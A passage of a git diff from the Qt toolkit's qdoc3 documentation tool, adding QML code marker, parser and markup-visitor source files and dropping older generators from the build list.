\ config.cpp \ cppcodemarker.cpp \ cppcodeparser.cpp \ - cpptoqsconverter.cpp \ - dcfsection.cpp \ ditaxmlgenerator.cpp \ doc.cpp \ editdistance.cpp \ generator.cpp \ helpprojectwriter.cpp \ htmlgenerator.cpp \ - jambiapiparser.cpp \ - javacodemarker.cpp \ - javadocgenerator.cpp \ - linguistgenerator.cpp \ + jscodemarker.cpp \ location.cpp \ - loutgenerator.cpp \ - mangenerator.cpp \ main.cpp \ node.cpp \ openedlist.cpp \ pagegenerator.cpp \ plaincodemarker.cpp \ - polyarchiveextractor.cpp \ - polyuncompressor.cpp \ - qsakernelparser.cpp \ - qscodemarker.cpp \ - qscodeparser.cpp \ + puredocparser.cpp \ + qmlcodemarker.cpp \ + qmlcodeparser.cpp \ + qmlmarkupvisitor.cpp \ + qmlvisitor.cpp \ quoter.cpp \ separator.cpp \ - sgmlgenerator.cpp \ text.cpp \ tokenizer.cpp \ tree.cpp \ - uncompressor.cpp \ - webxmlgenerator.cpp \ yyindent.cpp +INCLUDEPATH += $$QT_BUILD_TREE/include/QtDeclarative + +include($$QT_SOURCE_TREE/src/declarative/qml/parser/parser.pri) + ### Documentation for qdoc3 ### qtPrepareTool(QDOC, qdoc3) diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp new file mode 100644 index 0000000..a7dc5a0 --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -0,0 +1,302 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.cpp +*/ + +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsnodepool_p.h" +#include "private/qdeclarativejsparser_p.h" + +#include "atom.h" +#include "node.h" +#include "qmlcodemarker.h" +#include "qmlmarkupvisitor.h" +#include "text.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +QmlCodeMarker::QmlCodeMarker() +{ +} + +QmlCodeMarker::~QmlCodeMarker() +{ +} + +/*! + Returns true if the \a code is recognized by the parser. + */ +bool QmlCodeMarker::recognizeCode(const QString &code) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("<QmlCodeMarker::recognizeCode>", &engine); + + QString newCode = code; + extractPragmas(newCode); + lexer.setCode(newCode, 1); + + return parser.parse(); +} + +/*! + Returns true if \a ext is any of a list of file extensions + for the QML language. + */ +bool QmlCodeMarker::recognizeExtension(const QString &ext) +{ + return ext == "qml"; +} + +/*! + Returns true if the \a language is recognized. Only "QML" is + recognized by this marker. + */ +bool QmlCodeMarker::recognizeLanguage(const QString &language) +{ + return language == "QML"; +} + +/*! + Returns the type of atom used to represent QML code in the documentation. +*/ +Atom::Type QmlCodeMarker::atomType() const +{ + return Atom::Qml; +} + +/*! + Returns the name of the \a node. Method names include are returned with a + trailing set of parentheses. + */ +QString QmlCodeMarker::plainName(const Node *node) +{ + QString name = node->name(); + if (node->type() == Node::QmlMethod) + name += "()"; + return name; +} + +QString QmlCodeMarker::plainFullName(const Node *node, const Node *relative) +{ + if (node->name().isEmpty()) { + return "global"; + } + else { + QString fullName; + while (node) { + fullName.prepend(plainName(node)); + if (node->parent() == relative || node->parent()->name().isEmpty()) + break; + fullName.prepend("::"); + node = node->parent(); + } + return fullName; + } +} + +QString QmlCodeMarker::markedUpCode(const QString &code, + const Node *relative, + const Location &location) +{ + return addMarkUp(code, relative, location); +} + +QString QmlCodeMarker::markedUpName(const Node *node) +{ + QString name = linkTag(node, taggedNode(node)); + if (node->type() == Node::QmlMethod) + name += "()"; + return name; +} + +QString QmlCodeMarker::markedUpFullName(const Node *node, const Node *relative) +{ + if (node->name().isEmpty()) { + return "global"; + } + else { + QString fullName; + for (;;) { + fullName.prepend(markedUpName(node)); + if (node->parent() == relative || node->parent()->name().isEmpty()) + break; + fullName.prepend("<@op>::</@op>"); + node = node->parent(); + } + return fullName; + } +} + +QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) +{ + QString code; + + QStringList::ConstIterator inc = includes.begin(); + while (inc != includes.end()) { + code += "import " + *inc + "\n"; + ++inc; + } + Location location; + return addMarkUp(code, 0, location); +} + +QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) +{ + return "^" + QRegExp::escape("function " + funcName) + "$"; + +} + +QString QmlCodeMarker::functionEndRegExp(const QString& /* funcName */) +{ + return "^\\}$"; +} + +QString QmlCodeMarker::addMarkUp(const QString &code, + const Node * /* relative */, + const Location &location) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + + QString newCode = code; + QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); + + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("<QmlCodeMarker::addMarkUp>", &engine); + QString output; + + if (parser.parse()) { + QDeclarativeJS::AST::UiProgram *ast = parser.ast(); + // Pass the unmodified code to the visitor so that pragmas and other + // unhandled source text can be output. + QmlMarkupVisitor visitor(code, pragmas, &engine); + QDeclarativeJS::AST::Node::accept(ast, &visitor); + output = visitor.markedUpCode(); + } else { + location.warning(tr("Unable to parse QML: \"%1\" at line %2, column %3").arg( + parser.errorMessage()).arg(parser.errorLineNumber()).arg( + parser.errorColumnNumber())); + output = protect(code); + } + + return output; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp. +*/ +static void replaceWithSpace(QString &str, int idx, int n) +{ + QChar *data = str.data() + idx; + const QChar space(QLatin1Char(' ')); + for (int ii = 0; ii < n; ++ii) + *data++ = space; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then +modified to return a list of removed pragmas. + +Searches for ".pragma <value>" declarations within \a script. Currently supported pragmas +are: + library +*/ +QList<QDeclarativeJS::AST::SourceLocation> QmlCodeMarker::extractPragmas(QString &script) +{ + const QString pragma(QLatin1String("pragma")); + const QString library(QLatin1String("library")); + QList<QDeclarativeJS::AST::SourceLocation> removed; + + QDeclarativeJS::Lexer l(0); + l.setCode(script, 0); + + int token = l.lex(); + + while (true) { + if (token != QDeclarativeJSGrammar::T_DOT) + return removed; + + int startOffset = l.tokenOffset(); + int startLine = l.currentLineNo(); + int startColumn = l.currentColumnNo(); + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine || + script.mid(l.tokenOffset(), l.tokenLength()) != pragma) + return removed; + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine) + return removed; + + QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength()); + int endOffset = l.tokenLength() + l.tokenOffset(); + + token = l.lex(); + if (l.currentLineNo() == startLine) + return removed; + + if (pragmaValue == QLatin1String("library")) { + replaceWithSpace(script, startOffset, endOffset - startOffset); + removed.append( + QDeclarativeJS::AST::SourceLocation( + startOffset, endOffset - startOffset, + startLine, startColumn)); + } else + return removed; + } + return removed; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/linguistgenerator.h b/tools/qdoc3/qmlcodemarker.h index 402c10f..d693456 100644 --- a/tools/qdoc3/linguistgenerator.h +++ b/tools/qdoc3/qmlcodemarker.h @@ -40,44 +40,45 @@ ****************************************************************************/ /* - LinguistGenerator.h + qmlcodemarker.h */ -#ifndef LINGUISTGENERATOR_H -#define LINGUISTGENERATOR_H +#ifndef QMLCODEMARKER_H +#define QMLCODEMARKER_H -#include <qmap.h> -#include <qregexp.h> -#include <qdom.h> - -#include "codemarker.h" -#include "config.h" -#include "pagegenerator.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "cppcodemarker.h" QT_BEGIN_NAMESPACE -class LinguistGenerator : public PageGenerator +class QmlCodeMarker : public CppCodeMarker { public: - LinguistGenerator(); - ~LinguistGenerator(); + QmlCodeMarker(); + ~QmlCodeMarker(); - virtual void initializeGenerator( const Config& config ); - virtual void terminateGenerator(); - virtual QString format(); + virtual bool recognizeCode(const QString &code); + virtual bool recognizeExtension(const QString &ext); + virtual bool recognizeLanguage(const QString &language); + virtual Atom::Type atomType() const; + virtual QString plainName(const Node *node); + virtual QString plainFullName(const Node *node, const Node *relative); + virtual QString markedUpCode(const QString &code, + const Node *relative, + const Location &location); -protected: - virtual void generateClassLikeNode(const InnerNode *inner, - CodeMarker *marker); - virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - virtual QString fileExtension(const Node *node) const; + virtual QString markedUpName(const Node *node); + virtual QString markedUpFullName(const Node *node, const Node *relative); + virtual QString markedUpIncludes(const QStringList &includes); + virtual QString functionBeginRegExp(const QString &funcName); + virtual QString functionEndRegExp(const QString &funcName); - QList<QDomElement> generateIndexSections(QDomDocument &document, - const Node *node, CodeMarker *marker); - virtual QString fullName(const Node *node) const; + /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */ + QList<QDeclarativeJS::AST::SourceLocation> extractPragmas(QString &script); private: - QString simplified(const QString &text) const; + QString addMarkUp(const QString &code, const Node *relative, + const Location &location); }; QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp new file mode 100644 index 0000000..9c1d4ee --- /dev/null +++ b/tools/qdoc3/qmlcodeparser.cpp @@ -0,0 +1,235 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodeparser.cpp +*/ + +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastvisitor_p.h" +#include "private/qdeclarativejsnodepool_p.h" + +#include "qmlcodeparser.h" +#include "node.h" +#include "tree.h" +#include "config.h" +#include "qmlvisitor.h" + +QT_BEGIN_NAMESPACE + +#define COMMAND_STARTPAGE Doc::alias("startpage") +#define COMMAND_VARIABLE Doc::alias("variable") + +#define COMMAND_QMLCLASS Doc::alias("qmlclass") +#define COMMAND_QMLPROPERTY Doc::alias("qmlproperty") +#define COMMAND_QMLATTACHEDPROPERTY Doc::alias("qmlattachedproperty") +#define COMMAND_QMLINHERITS Doc::alias("inherits") +#define COMMAND_QMLSIGNAL Doc::alias("qmlsignal") +#define COMMAND_QMLATTACHEDSIGNAL Doc::alias("qmlattachedsignal") +#define COMMAND_QMLMETHOD Doc::alias("qmlmethod") +#define COMMAND_QMLATTACHEDMETHOD Doc::alias("qmlattachedmethod") +#define COMMAND_QMLDEFAULT Doc::alias("default") +#define COMMAND_QMLBASICTYPE Doc::alias("qmlbasictype") + +QmlCodeParser::QmlCodeParser() +{ +} + +QmlCodeParser::~QmlCodeParser() +{ +} + +/*! + Initialize the code parser base class. + */ +void QmlCodeParser::initializeParser(const Config &config) +{ + CodeParser::initializeParser(config); + + lexer = new QDeclarativeJS::Lexer(&engine); + parser = new QDeclarativeJS::Parser(&engine); +} + +void QmlCodeParser::terminateParser() +{ + delete lexer; + delete parser; +} + +QString QmlCodeParser::language() +{ + return "QML"; +} + +QStringList QmlCodeParser::sourceFileNameFilter() +{ + return QStringList("*.qml"); +} + +void QmlCodeParser::parseSourceFile(const Location& location, + const QString& filePath, + Tree *tree) +{ + QFile in(filePath); + if (!in.open(QIODevice::ReadOnly)) { + location.error(tr("Cannot open QML file '%1'").arg(filePath)); + return; + } + + QString document = in.readAll(); + in.close(); + + Location fileLocation(filePath); + + QString newCode = document; + extractPragmas(newCode); + lexer->setCode(newCode, 1); + + QSet<QString> topicCommandsAllowed = topicCommands(); + QSet<QString> otherMetacommandsAllowed = otherMetaCommands(); + QSet<QString> metacommandsAllowed = topicCommandsAllowed + + otherMetacommandsAllowed; + + QDeclarativeJS::NodePool m_nodePool(filePath, &engine); + + if (parser->parse()) { + QDeclarativeJS::AST::UiProgram *ast = parser->ast(); + QmlDocVisitor visitor(filePath, newCode, &engine, tree, metacommandsAllowed); + QDeclarativeJS::AST::Node::accept(ast, &visitor); + } +} + +void QmlCodeParser::doneParsingSourceFiles(Tree *tree) +{ +} + +/*! + Returns the set of strings reopresenting the topic commands. + */ +QSet<QString> QmlCodeParser::topicCommands() +{ + return QSet<QString>() << COMMAND_VARIABLE + << COMMAND_QMLCLASS + << COMMAND_QMLPROPERTY + << COMMAND_QMLATTACHEDPROPERTY + << COMMAND_QMLSIGNAL + << COMMAND_QMLATTACHEDSIGNAL + << COMMAND_QMLMETHOD + << COMMAND_QMLATTACHEDMETHOD + << COMMAND_QMLBASICTYPE; +} + +/*! + Returns the set of strings representing the common metacommands + plus some other metacommands. + */ +QSet<QString> QmlCodeParser::otherMetaCommands() +{ + return commonMetaCommands() << COMMAND_STARTPAGE + << COMMAND_QMLINHERITS + << COMMAND_QMLDEFAULT; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp. +*/ +static void replaceWithSpace(QString &str, int idx, int n) +{ + QChar *data = str.data() + idx; + const QChar space(QLatin1Char(' ')); + for (int ii = 0; ii < n; ++ii) + *data++ = space; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then +modified to return no values. + +Searches for ".pragma <value>" declarations within \a script. Currently supported pragmas +are: + library +*/ +void QmlCodeParser::extractPragmas(QString &script) +{ + const QString pragma(QLatin1String("pragma")); + const QString library(QLatin1String("library")); + + QDeclarativeJS::Lexer l(0); + l.setCode(script, 0); + + int token = l.lex(); + + while (true) { + if (token != QDeclarativeJSGrammar::T_DOT) + return; + + int startOffset = l.tokenOffset(); + int startLine = l.currentLineNo(); + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine || + script.mid(l.tokenOffset(), l.tokenLength()) != pragma) + return; + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine) + return; + + QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength()); + int endOffset = l.tokenLength() + l.tokenOffset(); + + token = l.lex(); + if (l.currentLineNo() == startLine) + return; + + if (pragmaValue == QLatin1String("library")) + replaceWithSpace(script, startOffset, endOffset - startOffset); + else + return; + } + return; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qsakernelparser.h b/tools/qdoc3/qmlcodeparser.h index 7692e98..e5cc0dd 100644 --- a/tools/qdoc3/qsakernelparser.h +++ b/tools/qdoc3/qmlcodeparser.h @@ -40,36 +40,52 @@ ****************************************************************************/ /* - qsakernelparser.h + qmlcodeparser.h */ -#ifndef QSAKERNELPARSER_H -#define QSAKERNELPARSER_H +#ifndef QMLCODEPARSER_H +#define QMLCODEPARSER_H + +#include <QSet> +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsparser_p.h" #include "codeparser.h" +#include "location.h" QT_BEGIN_NAMESPACE -class Tokenizer; +class Config; +class Node; +class QString; +class Tree; -class QsaKernelParser : public CodeParser +class QmlCodeParser : public CodeParser { public: - QsaKernelParser( Tree *cppTree ); - ~QsaKernelParser(); + QmlCodeParser(); + virtual ~QmlCodeParser(); + virtual void initializeParser(const Config& config); + virtual void terminateParser(); virtual QString language(); - virtual QString sourceFileNameFilter(); - virtual void parseSourceFile( const Location& location, - const QString& filePath, Tree *tree ); - virtual void doneParsingSourceFiles( Tree *tree ); + virtual QStringList sourceFileNameFilter(); + virtual void parseSourceFile(const Location& location, + const QString& filePath, Tree *tree); + virtual void doneParsingSourceFiles(Tree *tree); -private: - void readToken(); + /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */ + void extractPragmas(QString &script); - Tree *cppTre; - Tokenizer *tokenizer; - int tok; +protected: + virtual QSet<QString> topicCommands(); + virtual QSet<QString> otherMetaCommands(); + +private: + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer *lexer; + QDeclarativeJS::Parser *parser; }; QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp new file mode 100644 index 0000000..7acac48 --- /dev/null +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -0,0 +1,870 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include <QStringList> +#include <QtGlobal> +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" + +#include "qmlmarkupvisitor.h" + +QT_BEGIN_NAMESPACE + +QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, + const QList<QDeclarativeJS::AST::SourceLocation> &pragmas, + QDeclarativeJS::Engine *engine) +{ + this->source = source; + this->engine = engine; + + cursor = 0; + extraIndex = 0; + + // Merge the lists of locations of pragmas and comments in the source code. + int i = 0; + int j = 0; + while (i < engine->comments().length() && j < pragmas.length()) { + if (engine->comments()[i].offset < pragmas[j].offset) { + extraTypes.append(Comment); + extraLocations.append(engine->comments()[i]); + ++i; + } else { + extraTypes.append(Pragma); + extraLocations.append(engine->comments()[j]); + ++j; + } + } + + while (i < engine->comments().length()) { + extraTypes.append(Comment); + extraLocations.append(engine->comments()[i]); + ++i; + } + + while (j < pragmas.length()) { + extraTypes.append(Pragma); + extraLocations.append(pragmas[j]); + ++j; + } +} + +QmlMarkupVisitor::~QmlMarkupVisitor() +{ +} + +// The protect() function is a copy of the one from CppCodeMarker. + +static const QString samp = QLatin1String("&"); +static const QString slt = QLatin1String("<"); +static const QString sgt = QLatin1String(">"); +static const QString squot = QLatin1String("""); + +QString QmlMarkupVisitor::protect(const QString& str) +{ + int n = str.length(); + QString marked; + marked.reserve(n * 2 + 30); + const QChar *data = str.constData(); + for (int i = 0; i != n; ++i) { + switch (data[i].unicode()) { + case '&': marked += samp; break; + case '<': marked += slt; break; + case '>': marked += sgt; break; + case '"': marked += squot; break; + default : marked += data[i]; + } + } + return marked; +} + +QString QmlMarkupVisitor::markedUpCode() +{ + if (int(cursor) < source.length()) + addExtra(cursor, source.length()); + + return output; +} + +void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) +{ + if (extraIndex >= extraLocations.length()) { + QString extra = source.mid(start, finish - start); + if (extra.trimmed().isEmpty()) + output += extra; + else + output += protect(extra); // text that should probably have been caught by the parser + + cursor = finish; + return; + } + + while (extraIndex < extraLocations.length()) { + if (extraTypes[extraIndex] == Comment) { + if (extraLocations[extraIndex].offset - 2 >= start) + break; + } else { + if (extraLocations[extraIndex].offset >= start) + break; + } + extraIndex++; + } + + quint32 i = start; + while (i < finish && extraIndex < extraLocations.length()) { + quint32 j = extraLocations[extraIndex].offset - 2; + if (i <= j && j < finish) { + if (i < j) + output += protect(source.mid(i, j - i)); + + quint32 l = extraLocations[extraIndex].length; + if (extraTypes[extraIndex] == Comment) { + if (source.mid(j, 2) == QLatin1String("/*")) + l += 4; + else + l += 2; + output += QLatin1String("<@comment>"); + output += protect(source.mid(j, l)); + output += QLatin1String("</@comment>"); + } else + output += protect(source.mid(j, l)); + + extraIndex++; + i = j + l; + } else + break; + } + + QString extra = source.mid(i, finish - i); + if (extra.trimmed().isEmpty()) + output += extra; + else + output += protect(extra); // text that should probably have been caught by the parser + + cursor = finish; +} + +void QmlMarkupVisitor::addMarkedUpToken( + QDeclarativeJS::AST::SourceLocation &location, const QString &tagName, + const QHash<QString, QString> &attributes) +{ + if (!location.isValid()) + return; + + if (cursor < location.offset) + addExtra(cursor, location.offset); + else if (cursor > location.offset) + return; + + output += QString(QLatin1String("<@%1")).arg(tagName); + foreach (const QString &key, attributes) + output += QString(QLatin1String(" %1=\"%2\"")).arg(key).arg(attributes[key]); + output += QString(QLatin1String(">%2</@%3>")).arg(protect(sourceText(location)), tagName); + cursor += location.length; +} + +QString QmlMarkupVisitor::sourceText(QDeclarativeJS::AST::SourceLocation &location) +{ + return source.mid(location.offset, location.length); +} + +void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, + QDeclarativeJS::AST::SourceLocation last) +{ + if (!first.isValid()) + return; + + quint32 start = first.begin(); + quint32 finish; + if (last.isValid()) + finish = last.end(); + else + finish = first.end(); + + if (cursor < start) + addExtra(cursor, start); + else if (cursor > start) + return; + + QString text = source.mid(start, finish - start); + output += protect(text); + cursor = finish; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) +{ + addVerbatim(uiimport->importToken); + if (!uiimport->importUri) + addMarkedUpToken(uiimport->fileNameToken, QLatin1String("headerfile")); + return false; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) +{ + addVerbatim(uiimport->versionToken); + addVerbatim(uiimport->asToken); + addMarkedUpToken(uiimport->importIdToken, QLatin1String("headerfile")); + addVerbatim(uiimport->semicolonToken); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) +{ + if (member->type == QDeclarativeJS::AST::UiPublicMember::Property) { + addVerbatim(member->defaultToken); + addVerbatim(member->readonlyToken); + addVerbatim(member->propertyToken); + addVerbatim(member->typeModifierToken); + addMarkedUpToken(member->typeToken, QLatin1String("type")); + addMarkedUpToken(member->identifierToken, QLatin1String("name")); + addVerbatim(member->colonToken); + if (member->binding) + QDeclarativeJS::AST::Node::accept(member->binding, this); + else if (member->expression) + QDeclarativeJS::AST::Node::accept(member->expression, this); + } else { + addVerbatim(member->propertyToken); + addVerbatim(member->typeModifierToken); + addMarkedUpToken(member->typeToken, QLatin1String("type")); + //addVerbatim(member->identifierToken); + QDeclarativeJS::AST::Node::accept(member->parameters, this); + } + addVerbatim(member->semicolonToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer) +{ + addVerbatim(initializer->lbraceToken, initializer->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectInitializer *initializer) +{ + addVerbatim(initializer->rbraceToken, initializer->rbraceToken); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) +{ + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + QDeclarativeJS::AST::Node::accept(binding->qualifiedTypeNameId, this); + QDeclarativeJS::AST::Node::accept(binding->initializer, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) +{ + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + QDeclarativeJS::AST::Node::accept(binding->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) +{ + QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); + addVerbatim(binding->colonToken); + addVerbatim(binding->lbracketToken); + QDeclarativeJS::AST::Node::accept(binding->members, this); + addVerbatim(binding->rbracketToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) +{ + for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->member, this); + //addVerbatim(it->commaToken); + } + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) +{ + addMarkedUpToken(id->identifierToken, QLatin1String("name")); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) +{ + addVerbatim(signature->lparenToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature) +{ + addVerbatim(signature->rparenToken); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) +{ + addMarkedUpToken(formal->identifierToken, QLatin1String("name")); + addVerbatim(formal->asToken); + addVerbatim(formal->aliasToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression) +{ + addVerbatim(expression->thisToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) +{ + addMarkedUpToken(identifier->identifierToken, QLatin1String("name")); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) +{ + addMarkedUpToken(null->nullToken, QLatin1String("number")); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) +{ + addMarkedUpToken(literal->trueToken, QLatin1String("number")); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) +{ + addMarkedUpToken(literal->falseToken, QLatin1String("number")); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) +{ + addMarkedUpToken(literal->literalToken, QLatin1String("number")); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) +{ + addMarkedUpToken(literal->literalToken, QLatin1String("string")); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal) +{ + addVerbatim(literal->literalToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) +{ + addVerbatim(literal->lbracketToken); + QDeclarativeJS::AST::Node::accept(literal->elements, this); + addVerbatim(literal->rbracketToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) +{ + addVerbatim(literal->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ObjectLiteral *literal) +{ + addVerbatim(literal->rbraceToken); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) +{ + for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->expression, this); + //addVerbatim(it->commaToken); + } + QDeclarativeJS::AST::Node::accept(list->elision, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision) +{ + addVerbatim(elision->commaToken, elision->commaToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list) +{ + QDeclarativeJS::AST::Node::accept(list->name, this); + addVerbatim(list->colonToken, list->colonToken); + QDeclarativeJS::AST::Node::accept(list->value, this); + addVerbatim(list->commaToken, list->commaToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression) +{ + QDeclarativeJS::AST::Node::accept(expression->base, this); + addVerbatim(expression->lbracketToken); + QDeclarativeJS::AST::Node::accept(expression->expression, this); + addVerbatim(expression->rbracketToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression) +{ + QDeclarativeJS::AST::Node::accept(expression->base, this); + 